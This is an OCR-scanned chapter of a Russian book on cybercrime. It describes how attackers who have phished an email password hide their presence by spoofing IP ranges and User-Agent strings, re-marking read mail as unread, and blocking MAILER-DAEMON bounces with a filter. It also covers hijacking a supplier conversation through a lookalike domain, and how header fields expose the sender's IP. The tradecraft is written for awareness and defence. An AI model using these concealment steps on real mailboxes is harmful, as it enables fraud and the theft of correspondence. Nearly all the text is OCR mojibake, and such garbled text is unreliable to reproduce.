Uit ¥ TeIeKOMMYHMKALIMOHHBIX CceTeil U (GUILNMHTa, B YaCTHOCTHU. Takue
IeiiCTBUSI IPUBOZST K TOSIBJIEHNIO MacChl He3(PGheKTUBHbBIX MHCTPYKLIMIA,
3aKOHOIIPOEKTOB, HeBEPHbIX KBaIM(bUKALMIA TPECTYITHO AesTeIbHOCTU
M akKe OKa3bIBAIOT ITOJIOKUTEIbHOE BO3MEICTBME HA POCT U Oe3HaKa-
3aHHOCTb KubepIimnmoHaxka B Poccun.

Ha rpynny «I0CTyITHble MHCTPYMEHTBI» IPUXOAUTCS OCHOBHAS YaCTh
«IT0JIE3HOV» HArPy3KM Te€X 0OCTOSITENIBCTB, KOTOPbIE CO3AI0T 6y1aroaat-
HYIO TIOYBY /151 pa3BUTUSI KMOEpIIPeCTYIITHOCTY B Hallleii crpaHe. K aToii
rpyIie OTHOCSTCS AOCTYIIHbIE I/ MCIIOIb30BaHMS 37I0YMbIIIIJIEHHMKA-
MM CpefCTBa CBSI3M U MHCTPYMEHTHI yIipaBiaeHus huHaHCAMU.

B 3TOJ m1aBe mpezjaraeTcs MpoaHaaM3upoOBaTh BCE 3TU IIPUUYMHBI.

3.1. Muctuka KubepnpecTtynHocT1

3JI0yMBIIIJIEHHUKM TIOJIy4alOT Mapoiib M aBTOPU3YIOTCS B UY>KOM IOYTO-
BOM SILIMKE, TTOC/Ie Yero MapaieJibHO C BAaJeNblieM aKKayHTa M0JIb3y-
IOTCSI JIEKTPOHHOV MOYTONM B CBO€ YIOBOJIBCTBME U CBOIO BbhIroay. Bia-
Iesel] HAYEro He TT0A03peBaer.

Kak MblI yke yoeamanch, 1ejeHanpaBieHHbIi QUIIMHT B TPaMOTHBIX
pyKax TBOpUT uypeca. [Tocie momyueHMs] HeOOXOAMMBbIX TaHHbIX /IS aB-
TOpU3aLMU HA YY’KOM JIEKTPOHHOM ITOYTOBOM afpece 3/I0yMbILIJIEHHUK
co06/I0IaeT OCTOPOSKHOCTD U MPOAOJKAeT UTPATh IO CrelaabHbIM ITpa-
BUJIAM.

[Ipu LiesteHarIpaBaeHHOM (QUILNMHTE MOTYYMBIINIA TOCTYT K 3JIeKTPOH-
HOMY [MTOUYTOBOMY aJipecy 3/I0yMbIIIJIEHHUK He CTaHeT BeCTu cebsl Kak
CJIOH B TIOCY[HOJ JlaBKe, UTOOBI KepTBa He Aorafanach O B3jJoMe, BCe
IeicTBUSI KMOepIINMOHOB MPOAYMaHbl M OCTOPOSKHBDI.

[TosTomy mocie nmpoBegeHMUS] BCEX CBOMX HE3aKOHHBIX OEViCTBUIA
3JIOYMBILIJIEHHUKM CY€3al0T, a Bjajenel, y3HAUWNUiA O IPOU30LIe] -
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eM MHIMIEeHTe KOMITbIOTEepPHO 6e30ITacHOCTH, He[IOyMeBaeT BMeCTe
C TIpeACTaBUTENISIMM ITPABOOXPAHUTEIBHBIX OPTAHOB OT TOTO, KaK BCE 3TO
MOTIJIO TTPOU30NTMH.

HeormnpeeneHHOCTh B CXeMe OCYIIeCTBIEHMS POTUBOIIPABHBIX JIe¥i-
CTBUI TIPUBOIUT K TOMY, UTO CJIE[ICTBEHHBIMM OpraHaMy 10 MHLUAEH-
Tam, IIpUMep KOTOPOTO IMPUBEAEH B ISATOM TUIMYHON UCTOPUU B Ca-
MOM HauaJjie KHUTH, He BO30YKIAI0TCSI YTOJIOBHbIE JieJia. A TTOTepIIeBII/e
OCTAIOTCSI C GECKOHEUHBIMM TOIO3PEHUSIMU JIPYT IPYyTa, COTPYIHUKOB
KOMITaHUY, TTAPTHEPOB U Tak JaJiee.

[Tonpobyem pa306aunTh HEKOTOPbIE MUCTUUYECKME TPIOKU Kubep-
MOIIIEHHMKOB, TIPOM3BOAMMbIE BO BpeMs HEIIPaBOMEPHOTro JOCTyIIa
K 9JIEKTPOHHBIM ITOYTOBBIM aJipecaM.

BOJIbIIMHCTBO TO/Ib30BATEJEN TTOUTOBBIX SIIMKOB HE 3HAET O JOIOJI-
HUTEJIbHBIX HACTPOIKaX CPeACTB 6€30MacHOCTY UX 3JEKTPOHHBIX aKKa-
YHTOB. [IOTOTHUTE/IbHbIE HACTPOIKY 6€30IMacHOCTY MOTYT ITOKa3bIBaTh
BCe aBTOPM3alyy, TPOM3BOAMMbIE HAa aKKAYHTE, COXPAHSITh 3aIIMCH BXO-
OB B TIOYTOBBIN SIIIUK, COAepKallye narty, Bpems u IP-agpeca.

JloToTHUTETbHbIE HACTPOIKYM 6€30ITaCHOCTY MOTYT OTC/IEXXMUBATD I1a-
pautesIbHble CeCCUM C Pa3HBIX Y3JIOB U IMOJTHOCTHIO 3aIlpeniaTh rmapasi-
JIeJIbHYI0 aBTOPM3aLMI0. B GOJIbIIMHCTBE CEPBIUCOB «I10 YMOTYAHMIO» BCE
IOTIOJTHUTEIbHbIE HACTPOIKYM 6€30TIaCHOCTY OTKITIOYEHBI.

[TpakTyKa IOKa3bIBAET, YTO MOIH30BATEM PEIKO BKIIOUAIOT HACTPOYA-
K1 6€30IMaCHOCTH JIaKe TI0C/Ie TOTO, KaK OHM Y3Ke CTasIM KepPTBOI KaKoro-
160 MHIIMAEeHTa MHOOPMALIMOHHOM 6€30ITaCHOCTM.

[TomyumB Maposib, 37I0YMBIIIJIEHHUK TI€PBBIM J1€JIOM ITPOBEPUT Ha-
CTPOViIKYM 6€30TaCHOCTY JIEKTPOHHOTO ITOYTOBOTO SIIVKA, JOCTYITHbIE Ha
CTpaHuile cepBuca (B IMYHOM KabOMHETE), M eCM HaCTPOIKM Hesorac-
HOCTY HaXOHSITCSI B CIISIIEM COCTOSIHUM, OH OyJeT aBTOPM30BAThCS
B JaJIbHeJiIIeM, HeB3Mpasi Ha Crioco6, 6yab To Gpaysep My MOOVIIbHBIN
TenedoH.

He Bce monb3oBaTeNy MOHMMAIOT, YTO MOKHO IapajuieIbHO HAXO0-
IOUTHCS B OOHOM ¥ TOM 3Ke TIOYTOBOM ajipece, OTKPbIBATh MMUCbMa, IIPO-
CMaTpuUBaTh MEPENMCKY, M 3TO HMUEM He CUTHAIU3UPYETCS.

XOTSI aBTOP CUMTAET, YTO ObLJIO ObI 11€J1eCO0O0pPa3HbIM B JIMUYHOM Ka-
O6uHeTe JIF0O0ro aKKayHTa COLMAaIbHOM CeTH, a YK TeM Oojiee KPYITHbBIX
MUTI'POKOB ITOUTOBBIX CEPBUCOB, 10OAaBUTD B MHTepdeiic PyHKIMIO 0OTOOpa-
SKeHUSI TTapalyIeIbHbIX CeCCUit B OHIAMH-PeKMME 110 YMOTUYaHUIO, HEKYIO
CUTHATbHYIO JTAMITOUKY.
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Wtak, 3;m04ei, 3ao/JyumMBIIniA 11apojib OT ITOYTOBOIO azpeca, Ipo-
BepsieT HaCTPOIKM M OOHApPYKMBAET, YTO OTCIEXMBaHMe aBTOPU3aLNii
BKJ/IIOUEHO. UTO OH mpeprpumeT?

Hespumoe npucymcmeue

3/I0YMBIILIJIEHHMK MOCTYIIUT B 3aBUCUMOCTH OT IMYHOCTMU SKEPTBBI, a MbI
IMOMHMM, UTO MpPU IeJieHanpaBJIeHHOM (QUIIMHTe JUYHOCTDb XKEPTBbI
M3y4yaeTCs OUeHb CEPbE3HO.

Camoe mpocCTOe — 37I0YMBILIJIEHHUK MOXKET MPOCTO OTKIIYUTD [0-
TIOJIHUTEJIbHbIE HACTPOIKY 6€30MacHOCTH, Uero Biajesiell, CKopee BCero,
IaKe He 3aMeTUT.

Ecnu Bnamesnel 3JieKTPOHHOTO afpeca Aaske UCIOAb3yeT (QyHKIUIO
MpocMoTpa U (PUKcauuu BXOAOB B CBOJ MOUYTOBBIN afgpec, OH BPSA, i
CTaHeT aHIM3UPOBATh UCTOPUIO KAXKAbIM pa3 MpU BXOHE B IOUTY AJIs
OTIIPaBKM MUCbMa MM MPOYTEHUSI CPOUHOTO COOOIIeHus. [1a3 3aMbi-
JIMBAETCS.

[IpencraByM, YTO KOTAA-TO Biafesiel] Y3HAI O TaKOW JOTIOJIHUTENb-
HOJ OIILIVY, BKIIOUMJI ee, Tapy HeJelnb MTOHAOMI0NAN ... 320 PsKaBblii
rBO3[lb, [IOTOMY YTO TaKasl OMLMS — KaK HOBEHbKMI1 Ta/IKeT C KUTAiCKOTO
caifTa: CHavajla OYeHb MHTEPeCHA, a II0TOM, KOTJia Bajeliel] Haurpasics,
ocTaeTcst OpOIIeHHOM MbUIUTHCS B IKadUMKe CTOJA o[, Kyueil bapaxia.

Eciu Binagener; mouyToBOro SMKa CEpbe3HO OTHOCUTCS K ITapamMmeTpam
6e30IMacHOCTY U PeTY/SIPHO 0OpallaeT BHMMaHNMe U aHAIU3UPYET Kyp-
HaJI TTOCeNIeHNI MOYTOBOTrO SIIMKaA, HUUETro CTPAIIHOTO He MPOU30iiAeT.

JIJIsT COKPBITHSI CBOETO MPUCYTCTBUS 3JIOYMBIIJIEHHUK OymeT mpube-
raTh K MacKupoBke cBoero IP-agpeca u User-Agent (Ha3BaHMe b6apysepa,
OIlepaLIOHHO CUCTEMBI).

«User-Agent» — 3TO HaMeHOBaHMe KJIMEHTCKOTO MPUIOKeHUS,
IOCpeACTBOM KOTOPOIO MOJb30BaTeNlb OCYILEeCTB/ISIET aBTOPU3aALMIO
(BXO[, B IOYTOBBII afipec) 0 OIpeneseHHOMY IIPOTOKOIMY. Mbl yIIOMM-
HaJIM 3TOT TEPMMH B YaCTY O HEKOTOPBIX MeToax coopa nHpopMaun
O JXepTBe.

B 3aBMCMMOCTM OT UCIIOAb3yeMbIX BJlaZie/ibLieM IIOYTOBOrO ajapeca
[P-agpecoB 3/I0yMbIIIEHHUK MOKET ITO00PaTh CXOKMIA TI0 CeMaHTUKe
[P-agpec, Kak 3TO JiesiaeTcsl Tpu BbIOOpe JOMEHHOTO MMeHM.

Ecnu Bnazernen OCyIeCcTBIIsIeT aBTOPMU3aLMIo0 Ha CBOEM aKKayHTe C UC-
M0JIb30BaHMEM OIlepaTopa MOOMIIbHO CBSI3U, TO €ro ajipec Bceraa oymeT
IMHAMMUYECKUM, UTO CBOAUT 3P (PeKTUBHOCTDb TaKO IMPOBEPKU K HYIIIO.
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Yro Takoe AMHAMMUECKMI ajgpec MOOMJIIBHOTO OIlepaTopa CBSI3U?
NTak, y KaXkIoro MoO6WIbHOTO OoIlepaTopa ecTh aAuara3oH IP-agpecos,
KOTOpbIE BBIAEJISIOTCSI abOHEHTaM TIPY MCITOIb30BaHuM VIHTepHeTa.

Hamnpumep, ipyu UCIOAb30BaHMUM MTOAK/IIOYEHMS K ceTy IHTepHeT 1o-
cpeacTBOM orepatopa «MeradoH» Ha TeppUTOpUM MOCKOBCKOTO permo-
Ha IP-azmpec aboHeHTa Ipy o6pallleHMu K pecypcaM OyneT B Ayara3oHe
anmpecoB: 31.173.80.0-31.173.87.255.

TakuM 06pasom, 3JIOYMBIIIUIEHHUK, €C/IM OH IIPOXKUBaeT B MOCKOB-
CKOM permMoHe, MOKeT Che3OUTh Ha OOMH U3 BCEX U3BECTHBIX PHIHKOB
MM JII0007 BOK3asI M B3SITh 3a CTO pyOisielt cMM-KapTy TOTO olepaTopa
CBS13M, KOTOPBIM M0JIb3YeTCS KePTBa.

ToT ke camblii MaHeBp, TOJIBKO MPOILIe B UCIIOTHEHUM, OCYIeCTBIISI-
ercst co 3HaueHnem User-Agent.

I manbHENINX MoceleHnin B3JIOMaHHOr0 TIOYTOBOrO azipeca 3J10-
YMBIIIVIEHHUK CTaHEeT MCII0JIb30BaTh T€ IMEePUOAbl BpEMEHMU, KOTr[la ero
MOCeIaeT BIajiesiel], Ty ONepaliOHHYI0 CUCTEMY U 6pay3ep, YTO JTI0OUT
BJIajiesiel], ¥ CKOJIbKO Obl Biafesiell He CMOTpes B KypHaJ MocelleHni,
OH He CyMeeT OTJIMYMUTDb CBOU MOCEIEeHMS OT IIMMOHCKUX.

HeonHOKpaTHO BCTpevyaJucCh Caydyau, KOraa, B3JiOMaB IOUTY, 3J10-
YMBIIIVIEHHNK CIIOKOMHO HaxoOuscs Ioj ogHuM IP-agpecom kepTBbl,
MCIIO/Ib3YSl KOPIIOPATUBHOTO MPOBaiifiepa, YTO HECKOJIbKO 3aTPyLHSET
paccienoBaHye BO3HUKILETO MHIUAEHTA.

Ho onsTh-TakM, HOMOTHUTEIbHbIE HACTPOKY 6€30MMacHOCTM BKITIO-
YaloT KpaliHe penko.

C IOIOTHUTEIbHBIMM HACTPOViKaMy 6e30I1acHOCTHM Bpoje pa3obpa-
JIACh ¥ BEPHEMCS K COAEPKUMOMY.

ﬂpoqumaHHble u Henpo4umaHHsbIe nuceMa

Eciu 3/10yMBIIIVIEHHUK TIPOCMAaTPUBAET He MPOUYUTAHHbIE BJaJlleblieM
MMCbMa, KOTOpPble MMEKT OTMETKY «HOBbIE€» WUV «HEIIPOUYUTAHHBIE»,
MeTKa aBTOMAaTUYeCKM U3MeHSIeTCs.

[TosTOoMy, YTOOBI HE PACKOJOTUTD ITOCYIY, HAIl CJIOH 06sI3aTeNlb-
HO MOMEHSeT MEeTKY, U MMIMCbMO BEePHETCSI K CBOeMY IepBOHAYa/IbHO-
MY COCTOSIHUIO, CTaHEeT HOBBIM M HENpPOUYUTAHHBIM. K ueMy nuiiHue
IIOJI03peHUs?

EcTh 0COGEHHOCTD IIPM aBTOPM3ALMM Ha ITOYTOBOM aKKayHTe yepes
6paysep. B TakoM cyrydae BKJIIOUAETCS BEPCHSI BCTPOEHHOTO MeCCeH/IKe-
pa, CTaTyC MOJb30BaTeJISl [IOUYTHI CTAHOBUTCS OHJIANH, YTO MOTYT BUETh
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ero cobeceguukyu. O6 3TOM Halll CJIOH TOXKe TIOMHUT U Cpa3y Iocjie BXoaa
B IIOUTY M3MEHSIET CTATyC MeCCeH/Kepa.

lMepenucka ¢ Hecyuiecmeyrowum adpecamom

[Tpomomkaem pa3o6iadaTh GOKycHUKA. [IouTOBBIE CEPBUCHI ITPEJOCTAB-
JISIIOT BO3MOXHOCTU 110 GWIbTpaluy BXOsIeli KOppeCcIoHaeHIIN, TO
eCTb YCTaHaB/IMBATh IIPaBUJIa 10 OCYILECTBIEHIO aBTOMATUYeCKUX Olle-
panuii ¢ BXOASIIVMM 3JI€KTPOHHBIMM COOOIIEHNUSIMM.

[TocMmOoTpMUM, KaK 37I0YMBIIIJIEHHUKM MOTYT MCIOJAb30BaTh JAHHYIO
(yHKIMIO Ha MTPaKTUKe.

B Havajie KHUTY OBIIO IIPUBEIEHO HECKOIIBKO KOPOTKUX UCTOPUIA TH-
MMMYHBIX KMOepHpecTyIieHuit. B ogHOI McTopum, Koraa 3apyoeskHbIii
MOCTaBIUIMK 060PYIOBaHMS paccKasasl, YTO POCCUIiCKasi KOMITaHUS Tiepe-
cTasia 0OCYXXIATh YCIOBUS IOCTaBKU U BOOOIIE OTKa3aaach OT CHIEJIKMU,
MBI ¥IMeeM [eJI0 C KJIaCCMYeCKMM BHe[[peHeM B IepernucKy.

151 TOHMMaHMS BCeV CXeMbl BCIIOMHUM CUTyaluio. KpymnHas poccuii-
CKast KOMITaHMSI KaKoe-TO BpeMsI Bejia TIeperoBophl C 3apyOeXKHbIM U3TOTO-
BUTEJIEM 10 MPUOOPETEHNIO U TTIOCTaBKe HEKOEro TEXHUUECKOT0 060pyIo-
BaHM¢, a I10CJIe OIUIAThI JeHEKHbIX CPeLICTB TOBAp IMOCTaBIIVKOM JOCTaB/IeH
He ObLTT 1 BbISICHWIOCh, UYTO ITOCTABIIMK AEHEKHBIX CPEICTB He MOoIyJal, 1a
U TIeperoBOpbI JABHO IIpepBaauCh 10 MHULIMATHUBE ITOKYIIaTessl.

Kaxk ke pa3BUBa/IMCh COOBITUSI?

IIpencraBuTenb KOMIIAHUM-TIOKYIIATE/SI, HECUACTHBIN BJajenel,
JIeKTPOHHOM IIOUTHI, [TOJIy4yaeT OLHAXKAbl IMCbMO OT OLHOIrO U3 pac-
CMaTpMBaeMbIX II0CTaBILIMKOB, COAepyKalllee CrielialbHOe IpeyiokeHne
10 MHTEepecylleMy 060pyqoBaHNI0. B mucbMe comep>kKUTCST CChlJIKA HA
(daiin, npu 3arpyske KOTOPOTO Biiafeel] 3JIeKTPOHHOIO ajpeca noyemy-
TO JOIIOJTHUTEIbHO aBTOPU30BAJICSA U CIIOKOVHO IIPOLOJIKUI CBOIO Jes-
TebHOCTb. TakuM 06pa3oM, 3JI0yMBIIIJIEHHUK MOy4YaeT nmaposib. Kak
y3Ke TIOHSITHO, Tapojib ObLI MOJMIyYeH B pe3y/bTaTe KiacCudyeckoit ¢u-
LIMHT-aTaKy, MeXaHMKa KOTOPOJ paccMaTpuBasach B [IepBOil IVIaBe.

B HeKOTOpbI/i MOMEHT 3JIOYMBbIIIJIEHHUK, TTOJTYYUB OOCTYN K JIEKT-
POHHOMY aJpecy IIpeCcTaBUTelIsI POCCUIICKOIM KOMIIaHUY, CTall U3y4aTh
ero CoIepXXmuMoe U UCTOPUIO Iepenmcku. BriosHe goryckaeMm, 4To 3710-
YMBIIIJIEHHUKY Y3Ke ObLIO M3BECTHO O TOM, UTO C MCIIOJIb30BaHMEM MMEH-
HO 3TO¥ YYeTHON 3amucy BeJeTcsl o6CyKIeHre CTOMMOCTU U YCIOBUIA
MOCTaBKM HeJeleBoro obopynoBanusi. Kak roBOpuTcs, 1eiicTBOBAJ 110
HaBOJKe.
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Kak Mornu masbiiie pa3BuBaThCs COObITHSI? [IOTYYUTH JOCTYII K 37I€KT-
POHHOMY aJIpecy — 3TO OJJHO, HO BECTHU ITePENMUCKY OT MMEHMU CYILECTBYIO-
el opraHm3alum — COBCEM ApPyroe JeJio.

[T 0CO3HAHMST CUTYyalMY HEOOXOAMMO MPUBECTM HEMHOTO TEOPUM.

[IpenmonoxkuM, MoJib30BaTeNb OTIIPABUT MUCbMO ajpecary, agpec
3JIEKTPOHHOJ TIOUTHI KOTOPOTO BOOOIIE He CYIEeCTBYeT B IPUPOJE, Ha-
npumep blabla@cyberfishing.ru. [Tcbmo 6yaeT OTIIPaBI€HO, €r0 KOS
TIOMECTUTCS B MAIKy IMOYTOBOrO siliuKa «OTIpaBIeHHbIE.

3aTeM IM0JIb30BaTEII0 BO BXOSIYIO Marky npuget nmcbmo «MAILER-
DAEMON», Tak Ha3blBaeMO€e «BO3BpallleHHOE MMUCbMO», TAKXKE U3BECT-
Hoe kaKk Non-Delivery Report (NDR), Delivery Status Notification (DSN),
Non-Delivery Notification (NDN), bounce message (0T aHI/1. bounce — ot-
paskeHMe, pUKOILIET U message — COOOIeHNe).

OTO MMUChMO COOOIIAET, UTO MMCbMO OBIIO OTIIPABJIEHO HA ITOYTO-
BbIJA SINIIVK, KOTOPBI HEIOCTYTIEH, HE CYIeCTBYET, WJIX CepBep CoobIaeT
0 OpPYyTOil OolIMbOKe, IO MPpUUYMHE KOTOPOiI HEe CMOT JOCTaBUTh JaHHOeE
MMCbMO J0 afpecara.

3/I0yMbIIJIEHHUK B pacCMaTpuBaemMoit UCTOpUM MeTOIOM (UIINMHT-
aTaky MOTYYMII ITapoJib, a CJI€0BATEIbHO, IOCTYII K 3JIEKTPOHHOMY T10Y-
TOBOMY aJipecy MpenCcTaBUTess] OTeYeCTBEHHOM KOMIaHUM, OCYIeCTB-
JISTIIOIIETO BbIOOP ITOCTaBIIMKA.

3aTeM 3JI0yMbILIJIEHHUK HaMucaa OT MMEHU KOMIIaHUM MUCbMO C OT-
Ka30M O COTPYIHMUYECTBE C 3apyOekKHbIM ITOCTABIIMKOM, 3a0JIOKMPOBAT
MOCTyTallye OT Hero 3JIeKTPOHHbIe COOOIeHMSI.

BriocienctBum [Jisl mepernmcKu 3J104ei MCI0Ib30BaJl HECYIEeCTBYIO-
M1 afpec 3JIEKTPOHHOM ITOYThI, M KaXKIbIM pa3, KOTda MOJIb30BaTelb
(’kepTBa) OTBEYAs HA MMCbMO 3JI0YMBILIIEHHMKA, 3aKOHOMEPHO Ha M0Y-
TOBBIN UMK TTocTymano coobiieHne « MAILER-DAEMON».

[I1s1 TOrO 4TOOBI 9T cTpaHHbIe micbma «MAILER-DAEMON> He pasnpa-
>KaJIu BIaAeNblia MTOYTOBOTO SIIIMKA, 3I0YMbIIIJIEHHMUK OTKPbLT HACTPOIIKM
ITIOYTOBOTI'O SIIMKA U BOCIIONIb30BAJICS OILIMEN OIOKMPOBKY (puc. 3.1).

®uabTp GIOKMPOBAJ MMOTYYEHME BJIale/blieM ITOYTOBOTO SIINKA CO-
ob6mmennit <MAILER-DAEMON», 4TO MO3BOJISIET CKPBITh TOT (aKT, UTO
M0JIb30BaTe/b IIOUYTOBOIO SIIMKa, COBepIlas MepenmcKy, OTIIPaBseT
CBOM COOOIIEHMSI HECYILECTBYIOLIMM afpecaTaM.

Ho Benb B 9JIeKTPOHHOM IOYTOBOM SIIIMKe ObLIM COOOIIEHUST Hecy-
IeCTBYIOIIEero cobeceqHKa, 3JIeKTPOHHBIN TTOYTOBbIN aipec KOTOPOTo
MIeHTUYeH opULIMaTbHOMY 3apyOesKHOMY ITOCTABIIMKY 000PYIOBAHMS?
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Hactpoiikn

MpocMaTR CooBLLEHs BAOKMpYeMElR 3ipeca: JAobBaenTe agpec 3anper

Co3a3HMe COOBLLEHNA (Mcnonezo0EaHo 2 W3 500)

MAILER-DAEMON@mx.bib.v ¥aaauTe

YUeTHbIe 3anHcn
MAILER-DAEMON@yahoo.com

ApTOOTEET
TUALTPEI
BezonacHocTs

Bnokupyembie agpeca

Puc. 3.1. bnokuposa+Hble GuabmpoM 31eKmpoHHble adpeca
8 UHmepaelice 31eKMpoHHO20 NOYM080o20 adpeca

KoHeuHoO, 1 Jake HU OJHOTO, a OT MeHeIKepa, I0pUANUECKOro OT-
mena U oTaesia JOTUCTUKM, TOJIbKO B IOMEHHOM MMEHMU BCEX ITUX CO-
6ecemHMKOB OblIa 3aMeHeHa Bcero ogHa 6yksa. K mpumepy: manager@
cyberfishing.ru — 3To peasbHbIN afipec MeHeIKepa 3apyOesKHOV KOMITa-
HUM, 2 manager@cyberfishirg.ru (3ameHMWIN GYKBY «nN» Ha «I» B KOHIIE
MMEeHM) — 3TO ajZpec, UCII0Ib30BaHHbI MOIIIEHHMKAMM TT0CjIe BHeIpe-
HUSI B TIEPEITNCKY.

[ mpoBefeHUsT MOLIEHHUYECKUX NeMCTBUI 3/I0YMbILUIEHHUKAM
MOSKHO OBLIO ObI KYIIUTb IMOXOkKee JOMEHHOe MMSI, pa3MeCTUTh ero Ha
3apy0eskHOM a0y30yCTOIYMBOM XOCTMHTEe, HACTPOUTb HA HEM cepBep
9JIEKTPOHHBIN TOUTHI ¥ BECTYU MEPENUCKY uepe3 Hero.

Ho 3T0 Bce 66110 ObI AUITHUM. MOXKHO ITPOCTO MPUAYMATh TOMEHHOE
MMSs, KOTOpOe He 3aHSTO M OYeHb ITOX0XKe Ha TO, OT Ybero MMeHU OymeT
MIPOUCXOOUTH ODIIeHNeE.

JIJ1s1 OTTIpaBKYM COOOIIEHMI 3/T0YMBIIIJIEHHMKI BOCIIOb30BaIMCh Oec-
TJIATHBIM OHJIAiH-CEePBMUCOM, ITO3BOJISIIOIIMM OTIIPABJISITh 3JIEKTPOHHbIE
COOOIIIeHMS, YKa3bIBasl JTI000TO, Take HECYIECTBYIONIEr0 OTIIPaBUTEIS,
TO €CTh BMECTO aJipeca 3JIeKTPOHHO MTOYThI OTIIPABUTEJISI MOKHO BHO-
CUTb COBEPIIEHHO JII00bIe maHHbIe. [IJIsT 9TUX 1ejieii MOKHO ObIIO ObI
MCIIO/Ib30BaTh U send-MeHeIKep.

Ecsiv ObI 37I0yMBIIIJIEHHMKYM YKa3bIBaJIM 3JIEKTPOHHbIE aipeca peasib-
HO CYIIeCTBYIOIel OpraHM3aIy, TO IIpM OTBETe Ha MUChMO OTBET YXO-
1 6b1 0UIIMATBHOV OpraHM3alyin. A Tak Py OTBETE Ha MMCbMO OTBET
YXOOWJI «B HUKyOa».

Kak ske 3/I0yMbIIIIJIEHHUKY TIOTyYa/i OTBETHI HA CBOM IMCbMa, €Cu
OHM OTIIPABJISUIUCH «B HUKyHa»? Bce OTIpaBiisseMble OTBEThI aKKyparT-
HEeHbKO XPaHMWINCH B nanke «OTIIpaBJIeHHbIe» TOTO CAMOTO 3JIeKTPOHHO-


mailto:manager@cyberfishing.ru
mailto:manager@cyberfishing.ru
mailto:manager@cyberfishirg.ru

MUCTUKA KMBEPMPECTYMHOCTN 133

'O MIOYTOBOTO a/Ipeca, IOCTYIT K KOTOPOMY 3JI0YMbIIUIEHHUKM TTOTYYMIIN
" C BJIaJieJIblieM KOTOPOTO OHY IePeIChIBAINCH.

cnbIThIBa€Mble UyBCTBA U BbIPAKEHME JINIIA ITPEICTaBUTEJIS IOTep-
TeBIlIel opraHu3aIm, KOTOPbIii TOJBKO YTO OCO3HAJI, UTO MMCbMa BCe
5TO BpeMsI OH OTIIPAaBJISI caMOMYy cebe, aBTOP MPeIOCTaBIIsSIET BO3MOXK-
HOCTb BOOOPA3UTh YMTATETIO CAMOCTOSITENIbHO.

[IpenBapuTenbHOE M3y4YeHMe MOYTHI [TOKA3aJI0, YTO YeJIOBEK, IMPU-
HUMAaIOIINii penieHye Mo CAeike, epechbliag CoOOIIeHUsT HEKOTOPbIM
OPYTUM COTPYAHUKAM IJIs1 OOCYKAEHMS, HO IleJleHaIlpaBaeHHbIi G-
IIVMHT B JAHHOV CUTyalyuu ObUI IMPOBEIEH OYeHb TOUHO, B pe3y/bTaTe
aTaky Moj, KOHTPOJIEM 3JIOYMbIIUIEHHNKOB HAXOAWIVCh 3TU HECKOJIbKO
COTPYAHUKOB.

Takum 06pa3oM, KOrga KTO-TO M3 HUX HAIPaBJISIT TOMOJHUTEIbHBIE
BOITPOCHI, OH 3aIpanIMBag MHGOPMAIIMIO, OTTIPABIISIS MMChbMA «B HUKYIa».

Kaxk pacrosHaTb, OTKyJa BCe-TaKy IIPUIIIIO 3JIEKTPOHHOE COObIIeH e,
eCJI HaImycaTh MOKHO OTKYIA YTOIHO?

JIto60e mucbMo, TIpUIlieiliiee B IMOYTOBbINA SIIIMK, MOXXHO ITPOCMOT-
peTb, TaKk CKa3aTh, B MCXOMHOM Bue. B Takom Buae oToGpaskaeTcst BCs
crykebHast MHGOpMaLMs O MyTeNIecTBUM MMUChMa.

OTO MOXKHO CenaTh B Opay3epe U B OOJIBIIMHCTBE ITOYTOBBIX IIPO-
rpamM, Takux Kak Outlook, Hotmail, Google Mail (Gmail,) Yahoo Mail,
America Online (AOL), mail.ru, Yandex.ru 1 gpyrux. MosKHO IIpUBeCTU
HECKOJIbKO U3 HUX:

O Byandex.ru B BepxHeM MeHIO ITPU OTKPBITUU CChUIKU «...», KOTOpas
PV HaBeJeHUM ITOAIMChIBaeTCs Kak «Eie», Heo6xoayMo BeIOpaTh
IyHKT «CBOMCTBA NMCbMa»;

O B Outlook MOKHO BBIZIESTUTH COOOITIEHNE, TTOC/IE YETO ITPABOI KHOII-
Ko BbIOpaTh Message Options;

O B Hotmail ectb MmeHI0 psigom ¢ pyHKIMEN «Reply», rme Heo6X0aMMO
BbIOpaTh pexkxuMm «View Message Source;

O B Gmail Takke ecTb MeHIO psiioM ¢ dhyHKIMel «Reply», B KoTopom
MOSKHO BbIOpaTh peskum «Show Original»;

O B Yahoo gob6paTbcs 10 HY>KHO MH(pOpMAaIMY MOKHO Yepes pasaen
«Control», rme Heobxomumo BbriOpaTh «View Full Headers»;

Q B AOL uepe3 meHI0 «Action» HE0OXOAMMO BbIOpATh OMIINIO «View
Message Source»;

O B mail.ru B BepxHemM MeHIO IIpU OTKPBITUM CChIIKYU «Elle» HY>KHO
BbIOpATh MyHKT «CTy;keOHbIE 3ar0JIOBKM».
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Haiins B 3aronmoBKax 3HaueHust X-Originating-IP mau Received: from,
MO>KHO 0OHapykuTh 3HaueHue IP-anpeca, atot IP-agpec kak pa3 u pac-
CKa’KeT, ¢ KaKoro (pakTuvecku ceppepa O6bIJI0 OTIIPABIEHO COOOIIEHNE.

B 9TuX ke 3arojioBKax OymyT comepsKaThCs U APyTMe 3HaUeHMSI, K TIPU-
Mepy from= «agpec mo4Thl», HO OHM MOTYT He COOTBETCTBOBATb Jeii-
CTBUTEIBHOCTU.

MexaH13M, KOT/ia 37IeKTPOHHbBIE MCbMa MaCKMUPYIOTCS 1T obuiaib-
HBIX OTIIPaBUTEJIEN C UCII0/Ib30BAHMEM CXOKEro HalMCaHUs peaabHo Cy-
1IeCTBYIOLIEro JOMEHHOIO MMEHM U OTIIPaBJIEHMEM MCEM C HEeCYLIeCT-
BYIOIIMX aKKayHTOB, IIMPOKO MCIOAb3YeTCs KaK Mpy KMOepIInuoHake,
TaK M MPU OCYIIECTBIEHNM OOBIUHBIX MOIIEHHNYECKUX IEeCTBUIA.

[To cxoxkeir cxeme AeMiCTBOBAJIM 3JI0YMbIIIJIEHHUKN U3 paCcCKa3aHHOMN
YeTBepPTOI UCTOPUM B Havasie 3Toi KHuru. CUTyalys Obljia TakoBa, YTO
OT KOMIaHUM-TIapTHEPa KOaau BbicTaBieHus: cyeta. Korma cueT GbuT
MOJTyYeH, Ha YKa3aHHbIe B CUeTe PEeKBU3UTHI OyXrajaTepom OblLI cOBep-
LIeH TepeBo[,.

B paccMOTpeHHOJi MCTOPUM 37I0YMbIIIIJIEHHUKY M3HAUa/IbHO 0biaza-
7 HeKOTOopoii MHbopMalueii 0 BHyTpeHHeM pacIiopsiike MoTeprieB-
1ejt KOMITAaHUY — JOKYMEHTO060pOTe U cxeMe MIPUHSITUS PelieHust 00
oruiare.

